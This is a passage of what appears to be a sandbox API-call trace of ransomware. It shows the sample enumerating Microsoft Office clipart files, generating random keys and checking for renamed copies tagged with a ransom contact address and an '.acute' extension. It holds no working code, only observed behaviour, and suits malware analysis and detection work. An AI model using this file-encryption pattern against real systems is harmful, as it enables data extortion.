Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf")) returned 0x20 [0275.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.098] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.098] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.098] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=10644) returned 1 [0275.098] CloseHandle (hObject=0x37c) returned 1 [0275.098] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x20 [0275.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.099] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.099] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2116) returned 1 [0275.099] CloseHandle (hObject=0x37c) returned 1 [0275.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x20 [0275.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.099] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.100] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1568) returned 1 [0275.100] CloseHandle (hObject=0x37c) returned 1 [0275.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf")) returned 0x20 [0275.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.100] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.100] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=11490) returned 1 [0275.100] CloseHandle (hObject=0x37c) returned 1 [0275.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x20 [0275.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.102] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.102] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=9300) returned 1 [0275.102] CloseHandle (hObject=0x37c) returned 1 [0275.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf")) returned 0x20 [0275.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.103] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.103] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4032) returned 1 [0275.103] CloseHandle (hObject=0x37c) returned 1 [0275.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x20 [0275.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.103] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.104] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=4340) returned 1 [0275.104] CloseHandle (hObject=0x37c) returned 1 [0275.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf")) returned 0x20 [0275.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.104] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.104] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7084) returned 1 [0275.104] CloseHandle (hObject=0x37c) returned 1 [0275.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x20 [0275.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.104] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.104] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7098) returned 1 [0275.104] CloseHandle (hObject=0x37c) returned 1 [0275.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x20 [0275.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.105] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.105] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2848) returned 1 [0275.105] CloseHandle (hObject=0x37c) returned 1 [0275.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x20 [0275.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.106] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.106] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1148) returned 1 [0275.106] CloseHandle (hObject=0x37c) returned 1 [0275.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x20 [0275.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.107] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.107] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=2756) returned 1 [0275.107] CloseHandle (hObject=0x37c) returned 1 [0275.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x20 [0275.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.107] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.107] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=1268) returned 1 [0275.107] CloseHandle (hObject=0x37c) returned 1 [0275.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x20 [0275.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.108] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.108] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5000) returned 1 [0275.108] CloseHandle (hObject=0x37c) returned 1 [0275.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf")) returned 0x20 [0275.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01080_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.108] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.109] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=7340) returned 1 [0275.109] CloseHandle (hObject=0x37c) returned 1 [0275.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf")) returned 0x20 [0275.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01242_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.109] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.109] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=15806) returned 1 [0275.109] CloseHandle (hObject=0x37c) returned 1 [0275.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf")) returned 0x20 [0275.109] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01291_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01291_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.110] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.110] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=6016) returned 1 [0275.110] CloseHandle (hObject=0x37c) returned 1 [0275.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x20 [0275.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0275.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.110] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3e2fb08 | out: pbBuffer=0x3e2fb08) returned 1 [0275.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0275.110] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3e2faa0 | out: lpFileSize=0x3e2faa0*=5958) returned 1 [0275.110] CloseHandle (hObject=0x37c) returned 1 [0275.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 